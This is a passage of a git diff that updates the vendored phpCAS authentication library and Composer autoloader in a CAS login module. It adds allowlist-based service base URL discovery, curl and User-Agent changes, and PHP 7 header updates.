a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Exception.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Exception.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService/Exception.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http.php index 7c9824fab..4240b061a 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService/Http.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Abstract.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Abstract.php index 61abfd84f..8d55edd50 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Abstract.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Abstract.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService/Http/Abstract.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Get.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Get.php index 78e35de16..a459d55ae 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Get.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Get.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService/Http/Get.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Post.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Post.php index 7d4ecd3c0..344c43987 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Post.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Http/Post.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService/Http/Post.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Imap.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Imap.php index 385aae73b..c4b47401d 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Imap.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Imap.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService/Imap.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Testable.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Testable.php index 51f076762..3ce44fd16 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Testable.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxiedService/Testable.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxiedService/Testabel.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain.php index 2594d141e..e200724ce 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxyChain.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/AllowedList.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/AllowedList.php index cafd0e743..988ddbb3c 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/AllowedList.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/AllowedList.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxyChain/AllowedList.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Any.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Any.php index 0cd92f74e..fe18c5fbf 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Any.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Any.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxyChain/Any.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Interface.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Interface.php index d247115db..b1d688174 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Interface.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Interface.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxyChain/Interface.php * @category Authentication @@ -50,4 +50,4 @@ interface CAS_ProxyChain_Interface */ public function matches(array $list); -} \ No newline at end of file +} diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Trusted.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Trusted.php index 7fa612967..e67d70852 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Trusted.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyChain/Trusted.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/ProxyChain/Trusted.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyTicketException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyTicketException.php index 723304666..2f825b421 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyTicketException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ProxyTicketException.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @class CAS/ProxyTicketException.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/AbstractRequest.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/AbstractRequest.php index 130024bf1..4f9013ee2 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/AbstractRequest.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/AbstractRequest.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Request/AbstractRequest.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/CurlMultiRequest.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/CurlMultiRequest.php index 919c9561d..850f6f0e4 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/CurlMultiRequest.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/CurlMultiRequest.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Request/AbstractRequest.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/CurlRequest.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/CurlRequest.php index 70057712e..e30dd0d19 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/CurlRequest.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/CurlRequest.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Request/CurlRequest.php * @category Authentication @@ -106,14 +106,7 @@ implements CAS_Request_RequestInterface *********************************************************/ $ch = curl_init($this->url); - if (version_compare(PHP_VERSION, '5.1.3', '>=')) { - //only avaible in php5 - curl_setopt_array($ch, $this->_curlOptions); - } else { - foreach ($this->_curlOptions as $key => $value) { - curl_setopt($ch, $key, $value); - } - } + curl_setopt_array($ch, $this->_curlOptions); /********************************************************* * Set SSL configuration @@ -167,6 +160,11 @@ implements CAS_Request_RequestInterface curl_setopt($ch, CURLOPT_POSTFIELDS, $this->postBody); } + /********************************************************* + * Set User Agent + *********************************************************/ + curl_setopt($ch, CURLOPT_USERAGENT, 'phpCAS/' . phpCAS::getVersion()); + return $ch; } @@ -179,7 +177,7 @@ implements CAS_Request_RequestInterface * * @return void */ - private function _storeResponseBody ($body) + public function _storeResponseBody ($body) { $this->storeResponseBody($body); } @@ -192,7 +190,7 @@ implements CAS_Request_RequestInterface * * @return int */ - private function _curlReadHeaders ($ch, $header) + public function _curlReadHeaders ($ch, $header) { $this->storeResponseHeader($header); return strlen($header); diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/Exception.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/Exception.php index 14ff3c6b0..dd5a2a55a 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/Exception.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/Exception.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Request/Exception.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/MultiRequestInterface.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/MultiRequestInterface.php index f3298274d..41002c777 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/MultiRequestInterface.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/MultiRequestInterface.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Request/MultiRequestInterface.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/RequestInterface.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/RequestInterface.php index cc11ba43d..b8e8772e9 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/RequestInterface.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Request/RequestInterface.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/Request/RequestInterface.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/AllowedListDiscovery.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/AllowedListDiscovery.php new file mode 100644 index 000000000..39d269c05 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/AllowedListDiscovery.php @@ -0,0 +1,152 @@ + + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ + + +/** + * Class that gets the service base URL of the PHP server by HTTP header + * discovery and allowlist check. This is used to generate service URL + * and PGT callback URL. + * + * @class CAS_ServiceBaseUrl_AllowedListDiscovery + * @category Authentication + * @package PhpCAS + * @author Henry Pan + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ + +class CAS_ServiceBaseUrl_AllowedListDiscovery +extends CAS_ServiceBaseUrl_Base +{ + private $_list = array(); + + public function __construct($list) { + if (is_array($list)) { + if (count($list) === 0) { + throw new CAS_InvalidArgumentException('$list should not be empty'); + } + foreach ($list as $value) { + $this->allow($value); + } + } else { + throw new CAS_TypeMismatchException($list, '$list', 'array'); + } + } + + /** + * Add a base URL to the allowed list. + * + * @param $url protocol, host name and port to add to the allowed list + * + * @return void + */ + public function allow($url) + { + $this->_list[] = $this->removeStandardPort($url); + } + + /** + * Check if the server name is allowed by configuration. + * + * @param $name server name to check + * + * @return bool whether the allowed list contains the server name + */ + protected function isAllowed($name) + { + return in_array($name, $this->_list); + } + + /** + * Discover the server name through HTTP headers. + * + * We read: + * - HTTP header X-Forwarded-Host + * - HTTP header X-Forwarded-Server and X-Forwarded-Port + * - HTTP header Host and SERVER_PORT + * - PHP SERVER_NAME (which can change based on the HTTP server used) + * + * The standard port will be omitted (80 for HTTP, 443 for HTTPS). + * + * @return string the discovered, unsanitized server protocol, hostname and port + */ + protected function discover() + { + $isHttps = $this->isHttps(); + $protocol = $isHttps ? 'https' : 'http'; + $protocol .= '://'; + if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) { + // explode the host list separated by comma and use the first host + $hosts = explode(',', $_SERVER['HTTP_X_FORWARDED_HOST']); + // see rfc7239#5.3 and rfc7230#2.7.1: port is in HTTP_X_FORWARDED_HOST if non default + return $protocol . $hosts[0]; + } else if (!empty($_SERVER['HTTP_X_FORWARDED_SERVER'])) { + $server_url = $_SERVER['HTTP_X_FORWARDED_SERVER']; + } else { + if (empty($_SERVER['SERVER_NAME'])) { + $server_url = $_SERVER['HTTP_HOST']; + } else { + $server_url = $_SERVER['SERVER_NAME']; + } + } + if (!strpos($server_url, ':')) { + if (empty($_SERVER['HTTP_X_FORWARDED_PORT'])) { + $server_port = $_SERVER['SERVER_PORT']; + } else { + $ports = explode(',', $_SERVER['HTTP_X_FORWARDED_PORT']); + $server_port = $ports[0]; + } + + $server_url .= ':'; + $server_url .= $server_port; + } + return $protocol . $server_url; + } + + /** + * Get PHP server base URL. + * + * @return string the server protocol, hostname and port + */ + public function get() + { + phpCAS::traceBegin(); + $result = $this->removeStandardPort($this->discover()); + phpCAS::trace("Discovered server base URL: " . $result); + if ($this->isAllowed($result)) { + phpCAS::trace("Server base URL is allowed"); + phpCAS::traceEnd(true); + } else { + $result = $this->_list[0]; + phpCAS::trace("Server base URL is not allowed, using default: " . $result); + phpCAS::traceEnd(false); + } + return $result; + } +} diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Base.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Base.php new file mode 100644 index 000000000..6b4d3f306 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Base.php @@ -0,0 +1,98 @@ + + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ + +/** + * Base class of CAS/ServiceBaseUrl that implements isHTTPS method. + * + * @class CAS_ServiceBaseUrl_Base + * @category Authentication + * @package PhpCAS + * @author Henry Pan + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ +abstract class CAS_ServiceBaseUrl_Base +implements CAS_ServiceBaseUrl_Interface +{ + + /** + * Get PHP server name. + * + * @return string the server hostname and port of the server + */ + abstract public function get(); + + /** + * Check whether HTTPS is used. + * + * This is used to construct the protocol in the URL. + * + * @return bool true if HTTPS is used + */ + public function isHttps() { + if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) { + return ($_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); + } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTOCOL'])) { + return ($_SERVER['HTTP_X_FORWARDED_PROTOCOL'] === 'https'); + } elseif ( isset($_SERVER['HTTPS']) + && !empty($_SERVER['HTTPS']) + && strcasecmp($_SERVER['HTTPS'], 'off') !== 0 + ) { + return true; + } + return false; + } + + /** + * Remove standard HTTP and HTTPS port for discovery and allowlist input. + * + * @param $url URL as https://domain:port without trailing slash + * @return standardized URL, or the original URL + * @throws CAS_InvalidArgumentException if the URL does not include the protocol + */ + protected function removeStandardPort($url) { + if (strpos($url, "://") === false) { + throw new CAS_InvalidArgumentException( + "Configured base URL should include the protocol string: " . $url); + } + + $url = rtrim($url, '/'); + + if (strpos($url, "https://") === 0 && substr_compare($url, ':443', -4) === 0) { + return substr($url, 0, -4); + } + + if (strpos($url, "http://") === 0 && substr_compare($url, ':80', -3) === 0) { + return substr($url, 0, -3); + } + + return $url; + } + +} diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Interface.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Interface.php new file mode 100644 index 000000000..77cb2bdc0 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Interface.php @@ -0,0 +1,61 @@ + + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ + +/** + * An interface for classes that gets the server name of the PHP server. + * This is used to generate service URL and PGT callback URL. + * + * @class CAS_ServiceBaseUrl_Interface + * @category Authentication + * @package PhpCAS + * @author Henry Pan + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ +interface CAS_ServiceBaseUrl_Interface +{ + + /** + * Get PHP HTTP protocol and server name. + * + * @return string protocol, server hostname, and optionally port, + * without trailing slash (https://localhost:8443) + */ + public function get(); + + /** + * Check whether HTTPS is used. + * + * This is used to construct the protocol in the URL. + * + * @return bool true if HTTPS is used + */ + public function isHttps(); + +} diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Static.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Static.php new file mode 100644 index 000000000..577ecb979 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Static.php @@ -0,0 +1,69 @@ + + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ + + +/** + * Class that gets the server name of the PHP server by statically set + * hostname and port. This is used to generate service URL and PGT + * callback URL. + * + * @class CAS_ServiceBaseUrl_Static + * @category Authentication + * @package PhpCAS + * @author Henry Pan + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ + +class CAS_ServiceBaseUrl_Static +extends CAS_ServiceBaseUrl_Base +{ + private $_name = null; + + public function __construct($name) { + if (is_string($name)) { + $this->_name = $this->removeStandardPort($name); + } else { + throw new CAS_TypeMismatchException($name, '$name', 'string'); + } + } + + /** + * Get the server name through static config. + * + * @return string the server hostname and port of the server configured + */ + public function get() + { + phpCAS::traceBegin(); + phpCAS::trace("Returning static server name: " . $this->_name); + phpCAS::traceEnd(true); + return $this->_name; + } +} \ No newline at end of file diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Session/PhpSession.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Session/PhpSession.php new file mode 100644 index 000000000..031cbbc70 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Session/PhpSession.php @@ -0,0 +1,45 @@ + + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ + +/** + * Empty class used as a default implementation for phpCAS. + * + * Implements the standard PHP session handler without no alterations. + * + * @class CAS_Session_PhpSession + * @category Authentication + * @package PhpCAS + * @author Adam Franco + * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 + * @link https://wiki.jasig.org/display/CASC/phpCAS + */ +class CAS_Session_PhpSession extends SessionHandler implements SessionHandlerInterface +{ +} diff --git a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/TypeMismatchException.php b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/TypeMismatchException.php index 4a13c2df4..72bdc87a1 100644 --- a/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/TypeMismatchException.php +++ b/datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/TypeMismatchException.php @@ -17,7 +17,7 @@ * See the License for the specific language governing permissions and * limitations under the License. * - * PHP Version 5 + * PHP Version 7 * * @file CAS/InvalidArgumentException.php * @category Authentication diff --git a/datamodels/2.x/authent-cas/vendor/composer/ClassLoader.php b/datamodels/2.x/authent-cas/vendor/composer/ClassLoader.php index 2c72175e7..0cd6055d1 100644 --- a/datamodels/2.x/authent-cas/vendor/composer/ClassLoader.php +++ b/datamodels/2.x/authent-cas/vendor/composer/ClassLoader.php @@ -37,57 +37,130 @@ namespace Composer\Autoload; * * @author Fabien Potencier * @author Jordi Boggiano - * @see http://www.php-fig.org/psr/psr-0/ - * @see http://www.php-fig.org/psr/psr-4/ + * @see https://www.php-fig.org/psr/psr-0/ + * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { + /** @var ?string */ + private $vendorDir; + // PSR-4 + /** + * @var array[] + * @psalm-var array> + */ private $prefixLengthsPsr4 = array(); + /** + * @var array[] + * @psalm-var array> + */ private $prefixDirsPsr4 = array(); + /** + * @var array[] + * @psalm-var array + */ private $fallbackDirsPsr4 = array(); // PSR-0 + /** + * @var array[] + * @psalm-var array> + */ private $prefixesPsr0 = array(); + /** + * @var array[] + * @psalm-var array + */ private $fallbackDirsPsr0 = array(); + /** @var bool */ private $useIncludePath = false; + + /** + * @var string[] + * @psalm-var array + */ private $classMap = array(); + + /** @var bool */ private $classMapAuthoritative = false; + + /** + * @var bool[] + * @psalm-var array + */ private $missingClasses = array(); + + /** @var ?string */ private $apcuPrefix; + /** + * @var self[] + */ + private static $registeredLoaders = array(); + + /** + * @param ?string $vendorDir + */ + public function __construct($vendorDir = null) + { + $this->vendorDir = $vendorDir; + } + + /** + * @return string[] + */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { - return call_user_func_array('array_merge', $this->prefixesPsr0); + return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } + /** + * @return array[] + * @psalm-return array> + */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } + /** + * @return array[] + * @psalm-return array + */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } + /** + * @return array[] + * @psalm-return array + */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } + /** + * @return string[] Array of classname => path + * @psalm-var array + */ public function getClassMap() { return $this->classMap; } /** - * @param array $classMap Class to filename map + * @param string[] $classMap Class to filename map + * @psalm-param array $classMap + * + * @return void */ public function addClassMap(array $classMap) { @@ -102,9 +175,11 @@ class ClassLoader * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * - * @param string $prefix The prefix - * @param array|string $paths The PSR-0 root directories - * @param bool $prepend Whether to prepend the directories + * @param string $prefix The prefix + * @param string[]|string $paths The PSR-0 root directories + * @param bool $prepend Whether to prepend the directories + * + * @return void */ public function add($prefix, $paths, $prepend = false) { @@ -147,11 +222,13 @@ class ClassLoader * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * - * @param string $prefix The prefix/namespace, with trailing '\\' - * @param array|string $paths The PSR-4 base directories - * @param bool $prepend Whether to prepend the directories + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param string[]|string $paths The PSR-4 base directories + * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException + * + * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { @@ -195,8 +272,10 @@ class ClassLoader * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * - * @param string $prefix The prefix - * @param array|string $paths The PSR-0 base directories + * @param string $prefix The prefix + * @param string[]|string $paths The PSR-0 base directories + * + * @return void */ public function set($prefix, $paths) { @@ -211,10 +290,12 @@ class ClassLoader * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * - * @param string $prefix The prefix/namespace, with trailing '\\' - * @param array|string $paths The PSR-4 base directories + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param string[]|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException + * + * @return void */ public function setPsr4($prefix, $paths) { @@ -234,6 +315,8 @@ class ClassLoader * Turns on searching the include path for class files. * * @param bool $useIncludePath + * + * @return void */ public function setUseIncludePath($useIncludePath) { @@ -256,6 +339,8 @@ class ClassLoader * that have not been registered with the class map. * * @param bool $classMapAuthoritative + * + * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { @@ -276,10 +361,12 @@ class ClassLoader * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix + * + * @return void */ public function setApcuPrefix($apcuPrefix) { - $this->apcuPrefix = function_exists('apcu_fetch') && ini_get('apc.enabled') ? $apcuPrefix : null; + $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** @@ -296,25 +383,44 @@ class ClassLoader * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not + * + * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); + + if (null === $this->vendorDir) { + return; + } + + if ($prepend) { + self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; + } else { + unset(self::$registeredLoaders[$this->vendorDir]); + self::$registeredLoaders[$this->vendorDir] = $this; + } } /** * Unregisters this instance as an autoloader. + * + * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); + + if (null !== $this->vendorDir) { + unset(self::$registeredLoaders[$this->vendorDir]); + } } /** * Loads the given class or interface. * * @param string $class The name of the class - * @return bool|null True if loaded, null otherwise + * @return true|null True if loaded, null otherwise */ public function loadClass($class) { @@ -323,6 +429,8 @@ class ClassLoader return true; } + + return null; } /** @@ -367,6 +475,21 @@ class ClassLoader return $file; } + /** + * Returns the currently registered loaders indexed by their corresponding vendor directories. + * + * @return self[] + */ + public static function getRegisteredLoaders() + { + return self::$registeredLoaders; + } + + /** + * @param string $class + * @param string $ext + * @return string|false + */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup @@ -377,11 +500,11 @@ class ClassLoader $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); - $search = $subPath.'\\'; + $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { + $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { - $length = $this->prefixLengthsPsr4[$first][$search]; - if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $length))) { + if (file_exists($file = $dir . $pathEnd)) { return $file; } } @@ -438,6 +561,10 @@ class ClassLoader * Scope isolated include. * * Prevents access to $this/self from included files. + * + * @param string $file + * @return void + * @private */ function includeFile($file) { diff --git a/datamodels/2.x/authent-cas/vendor/composer/InstalledVersions.php b/datamodels/2.x/authent-cas/vendor/composer/InstalledVersions.php new file mode 100644 index 000000000..7c5502ca4 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/composer/InstalledVersions.php @@ -0,0 +1,337 @@ + + * Jordi Boggiano + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Composer; + +use Composer\Autoload\ClassLoader; +use Composer\Semver\VersionParser; + +/** + * This class is copied in every Composer installed project and available to all + * + * See also https://getcomposer.org/doc/07-runtime.md#installed-versions + * + * To require its presence, you can require `composer-runtime-api ^2.0` + */ +class InstalledVersions +{ + private static $installed; + private static $canGetVendors; + private static $installedByVendor = array(); + + /** + * Returns a list of all package names which are present, either by being installed, replaced or provided + * + * @return string[] + * @psalm-return list + */ + public static function 